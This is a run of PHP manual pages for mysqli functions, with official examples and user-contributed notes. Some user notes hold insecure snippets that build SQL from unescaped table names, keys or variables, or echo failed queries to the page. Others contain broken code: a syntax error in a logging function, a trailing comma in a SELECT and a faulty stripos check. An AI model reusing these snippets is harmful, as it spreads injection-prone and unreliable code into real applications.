Recently I had puzzling problem when performing DML queries, update in particular, each time a update query is called and then there are some more queries to follow this error will show on the page and go in the error_log:
"Fatal error:  Exception thrown without a stack frame in Unknown on line 0"

The strange thing is that all queries go through just fine so it didn't make much sense:

$update = mysqli_query($connection, $query_string);
if(!$update){
 echo 'Houston we have a problem '.mysqli_error($connection);
 exit;
}

In the above example "$update" is "true", mysqli_error() is empty and of course the update operation goes through, however the nasty super cryptic error appears on the page.
What makes even less sense to me is how I fixed it - just called "mysqli_free_result" after the update query and the problem was gone, however because mysqli_free_result is not supposed to be called after DML queries (to free what, a boolean? lol) it needs to be wrapped in a try catch block:

try{
 mysqli_free_result($update);
}catch (Exception $e){
 //do nothing
}

So, I don't know why but it seems that when DML queries are responsible for:
"Fatal error:  Exception thrown without a stack frame in Unknown on line 0"
calling "mysqli_free_result" after the query seems to be fixing the issue
marcus at synchromedia dot co dot uk 15-Jun-2011 07:17
The exact type returned by a successful query is mysqli_result.
theyranos at gmail dot com 12-Apr-2011 03:35
The cryptic "Couldn't fetch mysqli" error message can mean any number of things, including:

1. You're trying to use a database object that you've already closed (as noted by ceo at l-i-e dot com). Reopen your database connection, or find the call to <?php mysqli_close($db); ?> or <?php $db->close(); ?> and remove it.
2. Your MySQLi object has been serialized and unserialized for some reason. Define a wakeup function to re-create your database connection. http://php.net/__wakeup
3. Something besides you closed your mysqli connection (in particular, see http://bugs.php.net/bug.php?id=33772)
4. You mixed OOP and functional calls to the database object. (So, you have <?php $db->query() ?> in the same program as <?php mysqli_query($db) ?>).
petrus.jvr 14-Mar-2011 12:40
When calling multiple stored procedures, you can run into the following error: "Commands out of sync; you can't run this command now".
This can happen even when using the close() function on the result object between calls.
To fix the problem, remember to call the next_result() function on the mysqli object after each stored procedure call. See example below:

<?php
// New Connection
$db = new mysqli('localhost','user','pass','database');

// Check for errors
if(mysqli_connect_errno()){
 echo mysqli_connect_error();
}

// 1st Query
$result = $db->query("call getUsers()");
if($result){
     // Cycle through results
    while ($row = $result->fetch_object()){
        $user_arr[] = $row;
    }
    // Free result set
    $result->close();
    $db->next_result();
}

// 2nd Query
$result = $db->query("call getGroups()");
if($result){
     // Cycle through results
    while ($row = $result->fetch_object()){
        $group_arr[] = $row;
    }
     // Free result set
     $result->close();
     $db->next_result();
}
else echo($db->error);

// Close connection
$db->close();
?>
thomas dekker 23-Sep-2010 08:08
Building inserts can be annoying. This helper function inserts an array into a table, using the key names as column names:

<?php
  private function store_array (&$data, $table, $mysqli)
  {
    $cols = implode(',', array_keys($data));
    foreach (array_values($data) as $value)
    {
      isset($vals) ? $vals .= ',' : $vals = '';
      $vals .= '\''.$this->mysql->real_escape_string($value).'\'';
    }
    $mysqli->real_query('INSERT INTO '.$table.' ('.$cols.') VALUES ('.$vals.')');
  }
?>

Adapt it to your specific needs.
registrations at jdfoxmicro dot com 22-Jun-2010 01:11
I like to save the query itself in a log file, so that I don't have to worry about whether the site is live.

For example, I might have a global function:

<?php
function UpdateLog ( $string , $logfile )  {
   $fh = fopen ( $logfile , 'a' );
   $fwrite ( $fh , strftime ('%F %T %z')." ".$string."\n";
   fclose ( $fh );
}
?>

Then in my mysql function error trapper, something like this:

<?php
   $error_msg = "Database error in [page].php / ";
   $error_msg .= mysqli_error ( $link )." / ";
   $error_msg .= $query;
   UpdateLog ( $error_msg , DB_ERROR_LOG_FILE );
?>

I also include the remote IP, user agent, etc., but I left it out of these code samples.  And have it e-mail me when an error is caught, too.

Jeff
Igor 24-Nov-2008 03:54
mysqli::query() can only execute one SQL statement.

Use mysqli::multi_query() when you want to run multiple SQL statements within one query.
ceo at l-i-e dot com 27-Aug-2008 04:51
Translation:
"Couldn't fetch mysqli"

You closed your connection and are trying to use it again.

It has taken me DAYS to figure out what this obscure error message means...
NUNTIUS 01-Feb-2008 10:33
This may or may not be obvious to people but perhaps it will help someone.

When running joins in SQL you may encounter a problem if you are trying to pull two columns with the same name. mysqli returns the last in the query when called by name. So to get what you need you can use an alias.

Below I am trying to join a user id with a user role. in the first table (tbl_usr), role is a number and in the second is a  text name (tbl_memrole is a lookup table). If I call them both as role I get the text as it is the last "role" in the query. If I use an alias then I get both as desired as shown below.

<?php
$sql = "SELECT a.uid, a.role AS roleid, b.role,
            FROM tbl_usr a
            INNER JOIN tbl_memrole b
            ON a.role = b.id
            ";

    if ($result = $mysqli->query($sql)) {
        while($obj = $result->fetch_object()){
            $line.=$obj->uid;
            $line.=$obj->role;
            $line.=$obj->roleid;
        }
    }
    $result->close();
    unset($obj);
    unset($sql);
    unset($query);

?>
In this situation I guess I could have just renamed the role column in the first table roleid and that would have taken care of it, but it was a learning experience.
jcwebb at dicoe dot com 15-May-2007 10:42
When building apps, i like to see the whole statement when if fails.
<?php
$q="SELECT somecolumn FROM sometable"; //some instruction
$r=mysqli_query($DBlink,$q) or die(mysqli_error($DBlink)." Q=".$q);
?>
If theres an error (like my numerous typing mistakes) this shows the entire instruction.
Good for development (not so good on production servers - simply find and replace when finished: $r=mysqli_query($DBlink,$q); )

Hope it helps. Jon
antiriad at gmail dot com 12-Mar-2007 07:55
this is a variant of mysqli_query that returns output parameters as a rowset.

<?php
  function mysqli_exec($link, $command)
  {
      $select = '';
      $i2 = 0;

      while (true)
      {
      $i1 = strpos($command, '@', $i2);

      if ($i1 === false)
          break;

      $field = '';
      $i2 = $i1 + 1;

      while ($i2 < strlen($command) &&
          ($command[$i2] >= '0' && $command[$i2] <= '9') ||
          ($command[$i2] >= 'A' && $command[$i2] <= 'Z') ||
          ($command[$i2] >= 'a' && $command[$i2] <= 'z') ||
          ($command[$i2] == '_'))
          $i2++;

      $field = substr($command, $i1 + 1, $i2 - $i1 - 1);

      if (strlen($select) == 0)
        $select = "select @{$field} as $field";
      else
          $select = $select . ", @{$field} as $field";
      }

      if (strlen($select) > 0)
      {
        mysqli_query($link, $command);
        return mysqli_query($link, $select);
      }
      else
        return mysqli_query($link, $command);
  }
?>

an example:

<?php
  $link = mysqli_connect('localhost', 'myusr', 'mypass') or die ('Error connecting to mysql: ' . mysqli_error($link));
  mysqli_select_db($link, 'clips');

  $user_name = 'test';
  $result = mysqli_exec($link, "call do_user_login('$user_name', @session_id, @msg)");

  while ($row = mysqli_fetch_assoc($result))
  {
    echo "session_id : {$row['session_id']} <br>";
    echo "msg        : {$row['msg']} <br>";
  }
?>
info at ff dot net 08-May-2006 01:12
Calling Stored Procedures

Beeners' note/example will not work. Use mysqli_multi_query() to call a Stored Procedure. SP's have a second result-set which contains the status: 'OK' or 'ERR'. Using mysqli_query will not work, as there are multiple results.

<?php
$sQuery="CALL SomeSP('params')";
if(!mysqli_multi_query($sqlLink,$sQuery)) {
  // your error handler
}
$sqlResult=mysqli_store_result($sqlLink);

if(mysqli_more_results($this->sqlLink))//Catch 'OK'/'ERR'
  while(mysqli_next_result($this->sqlLink));
?>

You will have to rewrite/expand this a bit for more usability of course, but it's just an example.
Beeners 08-Jan-2006 09:16
Stored Procedures.

Use mysqli_query to call a stored procedure that returns a result set.

Here is a short example:

<?php
$mysqli = new mysqli(DBURI,DBUSER,DBPASS,DBNAME);
if (mysqli_connect_errno())
{
  printf("Connection failed: %s\n", mysqli_connect_error());
  exit();
}

$SQL = "CALL my_procedure($something)";
if ( ($result = $mysqli->query($SQL))===false )
{
  printf("Invalid query: %s\nWhole query: %s\n", $mysqli->error, $SQL);
  exit();
}

while ($myrow = $result->fetch_array(MYSQLI_ASSOC))
{
  $aValue[]=$myrow["a"];
  $bValue[]=$myrow["b"];
}
$result->close();
$mysqli->close();
?>
I hope this saves someone some time.
andrey at php dot net 07-Aug-2005 09:03
WARNING: This function was buggy on 64bit machines till 5.0.5. Affected versions 5.0.0-5.0.4. The problem appears when a value for the third parameter is passed - this will lead to instant FALSE returned by the function. Therefore if you need to use unbuffered query don't use this function with the aforementioned versions but you mysqli_real_query() and mysqli_use_result().
If you have the rights to patch you PHP installation the fix is easy:
In file ext/mysqli/myslqi_nonapi.c, function PHP_FUNCTION(mysqli_query)
change
unsigned int resultmode=0;
to
unsigned long resultmode=0;

Thanks!
hunreal at gmail dot com 13-Aug-2004 11:24
Use difference collation/character for connect, result.
You can set the collation before your query.

E.g. want to set the collation to utf8_general_ci
you can send the query "SET NAMES 'utf8'" first

<?php
$mysqli=new mysqli('localhost', 'root', 'password', 'test');
$mysqli->query("SET NAMES 'utf8'");
$q=$mysqli->query("select * from test");
while($r=$q->fetch_assoc()) {
    print_r($r);
}
?>

There are many variables about character settings.
By running sql command, SHOW VARIABLES LIKE 'char%';
There are some variables control the character usage.

character_set_client
character_set_connection
character_set_database
character_set_results
character_set_server
character_set_system

Also SET NAMES can repalce with one or some settings like SET character_set_results='utf8';


Opens a connection to a mysql server

  • « mysqli::query
  • mysqli::real_escape_string »
  • PHP Manual
  • mysqli
  • Opens a connection to a mysql server

mysqli::real_connect

mysqli_real_connect

(PHP 5)

mysqli::real_connect -- mysqli_real_connect — Opens a connection to a mysql server

Description

Object oriented style

bool mysqli::real_connect ([ string $host [, string $username [, string $passwd [, string $dbname [, int $port [, string $socket [, int $flags ]]]]]]] )

Procedural style

bool mysqli_real_connect ( mysqli $link [, string $host [, string $username [, string $passwd [, string $dbname [, int $port [, string $socket [, int $flags ]]]]]]] )

Establish a connection to a MySQL database engine.

This function differs from mysqli_connect():

  • mysqli_real_connect() needs a valid object which has to be created by function mysqli_init().

  • With the mysqli_options() function you can set various options for connection.

  • There is a flags parameter.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

host

Can be either a host name or an IP address. Passing the NULL value or the string "localhost" to this parameter, the local host is assumed. When possible, pipes will be used instead of the TCP/IP protocol.

username

The MySQL user name.

passwd

If provided or NULL, the MySQL server will attempt to authenticate the user against those user records which have no password only. This allows one username to be used with different permissions (depending on if a password as provided or not).

dbname

If provided will specify the default database to be used when performing queries.

port

Specifies the port number to attempt to connect to the MySQL server.

socket

Specifies the socket or named pipe that should be used.

Note:

Specifying the socket parameter will not explicitly determine the type of connection to be used when connecting to the MySQL server. How the connection is made to the MySQL database is determined by the host parameter.

flags

With the parameter flags you can set different connection options:

Supported flags
Name | Description
MYSQLI_CLIENT_COMPRESS | Use compression protocol
MYSQLI_CLIENT_FOUND_ROWS | return number of matched rows, not the number of affected rows
MYSQLI_CLIENT_IGNORE_SPACE | Allow spaces after function names. Makes all function names reserved words.
MYSQLI_CLIENT_INTERACTIVE | Allow interactive_timeout seconds (instead of wait_timeout seconds) of inactivity before closing the connection
MYSQLI_CLIENT_SSL | Use SSL (encryption)

Note:

For security reasons the MULTI_STATEMENT flag is not supported in PHP. If you want to execute multiple queries use the mysqli_multi_query() function.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mysqli::real_connect() example

Object oriented style

<?php

$mysqli = mysqli_init();
if (!$mysqli) {
    die('mysqli_init failed');
}

if (!$mysqli->options(MYSQLI_INIT_COMMAND, 'SET AUTOCOMMIT = 0')) {
    die('Setting MYSQLI_INIT_COMMAND failed');
}

if (!$mysqli->options(MYSQLI_OPT_CONNECT_TIMEOUT, 5)) {
    die('Setting MYSQLI_OPT_CONNECT_TIMEOUT failed');
}

if (!$mysqli->real_connect('localhost', 'my_user', 'my_password', 'my_db')) {
    die('Connect Error (' . mysqli_connect_errno() . ') '
            . mysqli_connect_error());
}

echo 'Success... ' . $mysqli->host_info . "\n";

$mysqli->close();
?>

Object oriented style when extending mysqli class

<?php

class foo_mysqli extends mysqli {
    public function __construct($host, $user, $pass, $db) {
        parent::init();

        if (!parent::options(MYSQLI_INIT_COMMAND, 'SET AUTOCOMMIT = 0')) {
            die('Setting MYSQLI_INIT_COMMAND failed');
        }

        if (!parent::options(MYSQLI_OPT_CONNECT_TIMEOUT, 5)) {
            die('Setting MYSQLI_OPT_CONNECT_TIMEOUT failed');
        }

        if (!parent::real_connect($host, $user, $pass, $db)) {
            die('Connect Error (' . mysqli_connect_errno() . ') '
                    . mysqli_connect_error());
        }
    }
}

$db = new foo_mysqli('localhost', 'my_user', 'my_password', 'my_db');

echo 'Success... ' . $db->host_info . "\n";

$db->close();
?>

Procedural style

<?php

$link = mysqli_init();
if (!$link) {
    die('mysqli_init failed');
}

if (!mysqli_options($link, MYSQLI_INIT_COMMAND, 'SET AUTOCOMMIT = 0')) {
    die('Setting MYSQLI_INIT_COMMAND failed');
}

if (!mysqli_options($link, MYSQLI_OPT_CONNECT_TIMEOUT, 5)) {
    die('Setting MYSQLI_OPT_CONNECT_TIMEOUT failed');
}

if (!mysqli_real_connect($link, 'localhost', 'my_user', 'my_password', 'my_db')) {
    die('Connect Error (' . mysqli_connect_errno() . ') '
            . mysqli_connect_error());
}

echo 'Success... ' . mysqli_get_host_info($link) . "\n";

mysqli_close($link);
?>

The above examples will output:

Success... MySQL host info: localhost via TCP/IP

Notes

Note:

MySQLnd always assumes the server default charset. This charset is sent during connection hand-shake/authentication, which mysqlnd will use.

Libmysqlclient uses the default charset set in the my.cnf or by an explicit call to mysqli_options() prior to calling mysqli_real_connect(), but after mysqli_init().

See Also

  • mysqli_connect() - Alias of mysqli::__construct
  • mysqli_init() - Initializes MySQLi and returns a resource for use with mysqli_real_connect()
  • mysqli_options() - Set options
  • mysqli_ssl_set() - Used for establishing secure connections using SSL
  • mysqli_close() - Closes a previously opened database connection

User Contributed Notes

php-nospam325123 at brainpower dot no-ip dot org 03-Dec-2010 12:29
this is because it tries to use sockets with the string localhost this is documented en known
Pom 01-Dec-2009 12:47
Notice that when using "localhost" as hostname the port option might be ignored.

If you wish to connect thru a different port than default, substitute "127.0.0.1" for localhost.


Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

  • « mysqli::real_connect
  • mysqli::real_query »
  • PHP Manual
  • mysqli
  • Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

mysqli::real_escape_string

mysqli_real_escape_string

(PHP 5)

mysqli::real_escape_string -- mysqli_real_escape_string — Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

Description

Object oriented style

string mysqli::escape_string ( string $escapestr )
string mysqli::real_escape_string ( string $escapestr )

Procedural style

string mysqli_real_escape_string ( mysqli $link , string $escapestr )

This function is used to create a legal SQL string that you can use in an SQL statement. The given string is encoded to an escaped SQL string, taking into account the current character set of the connection.

Caution

Security: the default character set

The character set must be set either at the server level, or with the API function mysqli_set_charset() for it to affect mysqli_real_escape_string(). See the concepts section on character sets for more information.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

escapestr

The string to be escaped.

Characters encoded are NUL (ASCII 0), \n, \r, \, ', ", and Control-Z.

Return Values

Returns an escaped string.

Examples

Example #1 mysqli::real_escape_string() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TEMPORARY TABLE myCity LIKE City");

$city = "'s Hertogenbosch";

/* this query will fail, cause we didn't escape $city */
if (!$mysqli->query("INSERT into myCity (Name) VALUES ('$city')")) {
    printf("Error: %s\n", $mysqli->sqlstate);
}

$city = $mysqli->real_escape_string($city);

/* this query with escaped $city will work */
if ($mysqli->query("INSERT into myCity (Name) VALUES ('$city')")) {
    printf("%d Row inserted.\n", $mysqli->affected_rows);
}

$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TEMPORARY TABLE myCity LIKE City");

$city = "'s Hertogenbosch";

/* this query will fail, cause we didn't escape $city */
if (!mysqli_query($link, "INSERT into myCity (Name) VALUES ('$city')")) {
    printf("Error: %s\n", mysqli_sqlstate($link));
}

$city = mysqli_real_escape_string($link, $city);

/* this query with escaped $city will work */
if (mysqli_query($link, "INSERT into myCity (Name) VALUES ('$city')")) {
    printf("%d Row inserted.\n", mysqli_affected_rows($link));
}

mysqli_close($link);
?>

The above examples will output:

Error: 42000
1 Row inserted.

Notes

Note:

For those accustomed to using mysql_real_escape_string(),
note that the arguments of mysqli_real_escape_string()
differ from what mysql_real_escape_string() expects.
The link identifier comes first in
mysqli_real_escape_string(), whereas the string to be escaped
comes first in mysql_real_escape_string().

See Also

  • mysqli_set_charset() - Sets the default client character set
  • mysqli_character_set_name() - Returns the default character set for the database connection

User Contributed Notes

nmmm at nmmm dot nu 02-May-2014 03:09
Note unlike PDO string escape, MySQLi does not include apostrophes.

So, you probably want something like this:

    function escape($s){
        $s = $this->mysqli->real_escape_string($s);
        return "'$s'";
    }
zanferrari at gmail dot com 12-Nov-2013 05:27
When I submit data through Ajax I use a little function to reconvert the encoded chars to their original value. After that I do the escaping. Here the function:

   function my_htmlentities($input){
       $string = htmlentities($input,ENT_NOQUOTES,'UTF-8');
       $string = str_replace('&euro;',chr(128),$string);
       $string = html_entity_decode($string,ENT_NOQUOTES,'ISO-8859-15');
       return $string;
   }

G.Zanferrari
kit dot lester at mail dot com 29-Aug-2013 08:35
A PHP application I'm working on has many pages which (long story) need to share a PHP API that looks after a MySQL database. Easiest way was to have the app pages AJAX to the API .PHPs.

That means having the JavaScript of the AJAX encodeURIComponent(...) relevant bits of any data to be sent via HTTP POST and GET requests - space as %20 and so on.

But the SQL also needed real_escape_string(...) of the same data.

So I had the issue of whether to do the real_escape_string *before* or *after* encodeURIComponent? in other words in the application PHP or API PHP? Do either of the encodings mangle the other?

The real_escape_string would be "cleaner" in the API, both in principle, and because it needs an instance of mysqli class and there are are unlikely to be instances in the app.

(real_escape_string needs an instance because it's not a  *static* function - I don't know why).

But I suspect that "in the API" is the mangle-avoiding place: the JavaScript encode gets undone by the HTTP call to whichever API element, then the element can safely real_escape_string what is to be put into the database.

Comments would be appreciated.
dave at mausner.us 25-Feb-2011 04:48
You can avoid all character escaping issues (on the PHP side) if you use prepare() and bind_param(), as an alternative to placing arbitrary string values in SQL statements.  This works because bound parameter values are NOT passed via the SQL statement syntax.
Josef Toman 26-Feb-2010 03:14
For percent sign and underscore I use this:
<?php
$more_escaped = addcslashes($escaped, '%_');
?>
tobias_demuth at web dot de 10-Nov-2005 05:54
Note, that if no connection is open, mysqli_real_escape_string() will return an empty string!
arnoud at procurios dot nl 07-Oct-2004 06:05
Note that this function will NOT escape _ (underscore) and % (percent) signs, which have special meanings in LIKE clauses.

As far as I know there is no function to do this, so you have to escape them yourself by adding a backslash in front of them.


Execute an SQL query

  • « mysqli::real_escape_string
  • mysqli::reap_async_query »
  • PHP Manual
  • mysqli
  • Execute an SQL query

mysqli::real_query

mysqli_real_query

(PHP 5)

mysqli::real_query -- mysqli_real_query — Execute an SQL query

Description

Object oriented style

bool mysqli::real_query ( string $query )

Procedural style

bool mysqli_real_query ( mysqli $link , string $query )

Executes a single query against the database whose result can then be retrieved or stored using the mysqli_store_result() or mysqli_use_result() functions.

In order to determine if a given query should return a result set or not, see mysqli_field_count().

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

query

The query, as a string.

Data inside the query should be properly escaped.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • mysqli_query() - Performs a query on the database
  • mysqli_store_result() - Transfers a result set from the last query
  • mysqli_use_result() - Initiate a result set retrieval

User Contributed Notes

There are no user contributed notes for this page.


Get result from async query

  • « mysqli::real_query
  • mysqli::refresh »
  • PHP Manual
  • mysqli
  • Get result from async query

mysqli::reap_async_query

mysqli_reap_async_query

(PHP 5 >= 5.3.0)

mysqli::reap_async_query -- mysqli_reap_async_query — Get result from async query

Description

Object oriented style

public mysqli_result mysqli::reap_async_query ( void )

Procedural style

mysqli_result mysqli_reap_async_query ( mysql $link )

Get result from async query. Available only with mysqlnd.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns mysqli_result in success, FALSE otherwise.

See Also

  • mysqli_poll() - Poll connections

User Contributed Notes

eric dot caron at gmail dot com 07-May-2010 08:05
Keep in mind that mysqli::reap_async_query only returns mysqli_result on queries like SELECT. For queries where you may be interested in things like affected_rows or insert_id, you can't work off of the result of mysqli::reap_async_query as the example in mysqli::poll leads you to believe. For INSERT/UPDATE/DELETE queries, the data corresponding to the query can be accessed through the associated key to the first array in the mysqli::poll function.

So instead of
<?php
    foreach ($links as $link) {
        if ($result = $link->reap_async_query()) {
            print_r($result->fetch_row());
            mysqli_free_result($result);
            $processed++;
        }
    }
?>

The data is accessible via:
<?php
    foreach ($links as $link) {
        if ($result = $link->reap_async_query()) {
            //This works for SELECT
            if(is_object($result)){
                print_r($result->fetch_row());
                mysqli_free_result($result);
            }
            //This works for INSERT/UPDATE/DELETE
            else {
                print_r($link);
            }
            $processed++;
        }
    }
?>


Refreshes

  • « mysqli::reap_async_query
  • mysqli::release_savepoint »
  • PHP Manual
  • mysqli
  • Refreshes

mysqli::refresh

mysqli_refresh

(PHP 5 <= 5.3.0)

mysqli::refresh -- mysqli_refresh — Refreshes

Description

Object oriented style

public bool mysqli::refresh ( int $options )

Procedural style

int mysqli_refresh ( resource $link , int $options )

Flushes tables or caches, or resets the replication server information.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

options

The options to refresh, using the MYSQLI_REFRESH_* constants as documented within the MySQLi constants documentation.

See also the official » MySQL Refresh documentation.

Return Values

TRUE if the refresh was a success, otherwise FALSE

See Also

  • mysqli_poll() - Poll connections

User Contributed Notes

There are no user contributed notes for this page.


Rolls back a transaction to the named savepoint

  • « mysqli::refresh
  • mysqli::rollback »
  • PHP Manual
  • mysqli
  • Rolls back a transaction to the named savepoint

mysqli::release_savepoint

mysqli_release_savepoint

(PHP 5 >= 5.5.0)

mysqli::release_savepoint -- mysqli_release_savepoint — Rolls back a transaction to the named savepoint

Description

Object oriented style (method):

public bool mysqli::release_savepoint ( string $name )

Procedural style:

bool mysqli_release_savepoint ( mysqli $link , string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

name

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • mysqli_rollback() - Rolls back current transaction

User Contributed Notes

There are no user contributed notes for this page.


Rolls back current transaction

  • « mysqli::release_savepoint
  • mysqli::rpl_query_type »
  • PHP Manual
  • mysqli
  • Rolls back current transaction

mysqli::rollback

mysqli_rollback

(PHP 5)

mysqli::rollback -- mysqli_rollback — Rolls back current transaction

Description

Object oriented style

bool mysqli::rollback ([ int $flags [, string $name ]] )

Procedural style

bool mysqli_rollback ( mysqli $link [, int $flags [, string $name ]] )

Rollbacks the current transaction for the database.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

flags

A bitmask of MYSQLI_TRANS_COR_* constants.

name

If provided then ROLLBACK/*name*/ is executed.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.5.0 | Added flags and name parameters.

Examples

Example #1 mysqli::rollback() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* disable autocommit */
$mysqli->autocommit(FALSE);

$mysqli->query("CREATE TABLE myCity LIKE City");
$mysqli->query("ALTER TABLE myCity Type=InnoDB");
$mysqli->query("INSERT INTO myCity SELECT * FROM City LIMIT 50");

/* commit insert */
$mysqli->commit();

/* delete all rows */
$mysqli->query("DELETE FROM myCity");

if ($result = $mysqli->query("SELECT COUNT(*) FROM myCity")) {
    $row = $result->fetch_row();
    printf("%d rows in table myCity.\n", $row[0]);
    /* Free result */
    $result->close();
}

/* Rollback */
$mysqli->rollback();

if ($result = $mysqli->query("SELECT COUNT(*) FROM myCity")) {
    $row = $result->fetch_row();
    printf("%d rows in table myCity (after rollback).\n", $row[0]);
    /* Free result */
    $result->close();
}

/* Drop table myCity */
$mysqli->query("DROP TABLE myCity");

$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* disable autocommit */
mysqli_autocommit($link, FALSE);

mysqli_query($link, "CREATE TABLE myCity LIKE City");
mysqli_query($link, "ALTER TABLE myCity Type=InnoDB");
mysqli_query($link, "INSERT INTO myCity SELECT * FROM City LIMIT 50");

/* commit insert */
mysqli_commit($link);

/* delete all rows */
mysqli_query($link, "DELETE FROM myCity");

if ($result = mysqli_query($link, "SELECT COUNT(*) FROM myCity")) {
    $row = mysqli_fetch_row($result);
    printf("%d rows in table myCity.\n", $row[0]);
    /* Free result */
    mysqli_free_result($result);
}

/* Rollback */
mysqli_rollback($link);

if ($result = mysqli_query($link, "SELECT COUNT(*) FROM myCity")) {
    $row = mysqli_fetch_row($result);
    printf("%d rows in table myCity (after rollback).\n", $row[0]);
    /* Free result */
    mysqli_free_result($result);
}

/* Drop table myCity */
mysqli_query($link, "DROP TABLE myCity");

mysqli_close($link);
?>

The above examples will output:

0 rows in table myCity.
50 rows in table myCity (after rollback).

See Also

  • mysqli_begin_transaction() - Starts a transaction
  • mysqli_commit() - Commits the current transaction
  • mysqli_autocommit() - Turns on or off auto-committing database modifications
  • mysqli_release_savepoint() - Rolls back a transaction to the named savepoint

User Contributed Notes

Steven McCoy 11-Feb-2012 06:16
Remember that MyISAM tables do not support rollbacks.

I just drove myself crazy for an afternoon trying to figure out what was wrong with my code - meanwhile it was fine all along
xcalibur at xcalibur dot dk 10-Mar-2010 12:04
Just a note about auto incremental ids and rollback.
When using transactions and inserting into a table containing a column with auto incremental ids, the id will be incremented even though the transaction is rolled back.

This might occupy a lot of ids if a lot of rollbacks are performed.

Example:
<?php
$mysqli = new mysqli("localhost", "gugbageri", "gugbageri", "gugbageri");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* disable autocommit */
$mysqli->autocommit(FALSE);

/* We just create a test table with one auto incremental primary column and a content column*/
$mysqli->query("CREATE TABLE TestTable ( `id_column` INT NOT NULL  AUTO_INCREMENT , `content` INT NOT NULL , PRIMARY KEY ( `id_column` )) ENGINE = InnoDB;");

/* commit newly created table */
$mysqli->commit();

/* we insert a row */
$mysqli->query("INSERT INTO TestTable (content) VALUES (99)");

/* we commit the inserted row */
$mysqli->commit();

/* we insert another three rows */
$mysqli->query("INSERT INTO TestTable (content) VALUES (99)");
$mysqli->query("INSERT INTO TestTable (content) VALUES (99)");
$mysqli->query("INSERT INTO TestTable (content) VALUES (99)");

/* we the rollback */
$mysqli->rollback();

/* we insert a row */
$mysqli->query("INSERT INTO TestTable (content) VALUES (99)");

/* we commit the inserted row */
$mysqli->commit();

if ($result = $mysqli->query("SELECT id_column FROM TestTable")) {

   while($row = $result->fetch_row()) {
      printf("Id: %d.\n", $row[0]);
   }
    /* Free result */
    $result->close();
}

/* Drop table TestTable */
$mysqli->query("DROP TABLE TestTable");

$mysqli->close();
?>

This will output:
Id: 1.
Id: 5.
jd at dilltree dot com 23-Jul-2009 01:08
Something to consider when using transact is that you should not perform a normal query on the same table (such as a DELETE) immediately after a transaction.  If the transaction rolls-back, the DELETE will execute and even show affected rows, but the row can be magically re-inserted even if the rollback() command comes before the DELETE query.
Lorenzo - webmaster AT 4tour DOT it 10-Feb-2009 03:31
This is an example to explain the powerful of the rollback and commit functions.
Let's suppose you want to be sure that all queries have to be executed without errors before writing data on the database.
Here's the code:

<?php
$all_query_ok=true; // our control variable

//we make 4 inserts, the last one generates an error
//if at least one query returns an error we change our control variable
$mysqli->query("INSERT INTO myCity (id) VALUES (100)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (200)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (300)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (100)") ? null : $all_query_ok=false; //duplicated PRIMARY KEY VALUE

//now let's test our control variable
$all_query_ok ? $mysqli->commit() : $mysqli->rollback();

$mysqli->close();
?>

hope to be helpful!


Returns RPL query type

  • « mysqli::rollback
  • mysqli::savepoint »
  • PHP Manual
  • mysqli
  • Returns RPL query type

mysqli::rpl_query_type

mysqli_rpl_query_type

(PHP 5)

mysqli::rpl_query_type -- mysqli_rpl_query_type — Returns RPL query type

Description

Object oriented style

int mysqli::rpl_query_type ( string $query )

Procedural style

int mysqli_rpl_query_type ( mysqli $link , string $query )

Returns MYSQLI_RPL_MASTER, MYSQLI_RPL_SLAVE or MYSQLI_RPL_ADMIN depending on a query type. INSERT, UPDATE and similar are master queries, SELECT is slave, and FLUSH, REPAIR and similar are admin.

Warning

This function is currently not documented; only its argument list is available.

Warning

This function has been DEPRECATED and REMOVED as of PHP 5.3.0.

User Contributed Notes

steohan at gobro dot de 22-Sep-2010 08:22
Because the sql types could be combined it would be better to use a function like this:

function getMySQLType($str){
      $str=trim($str);
      return strtoupper(substr($str,0,strpos($str,' ')));
}

$sql="select * from user;";
if (getMySQLType($sql) == 'SELECT'){
//true
}
technique-glamour at condenast dot fr 19-Jul-2007 05:28
WARNING : this function (or maybe the "enable_rpl_parse" function) randomly causes a segfault into PHP.
We don't use this function anymore. Instead we check if the query contains the word 'SELECT' :

function query_type($query)
{
    if ( stripos($query,'SELECT'))
        return true;
    return false;
}


Set a named transaction savepoint

  • « mysqli::rpl_query_type
  • mysqli::select_db »
  • PHP Manual
  • mysqli
  • Set a named transaction savepoint

mysqli::savepoint

mysqli_savepoint

(PHP 5 >= 5.5.0)

mysqli::savepoint -- mysqli_savepoint — Set a named transaction savepoint

Description

Object oriented style (method):

public bool mysqli::savepoint ( string $name )

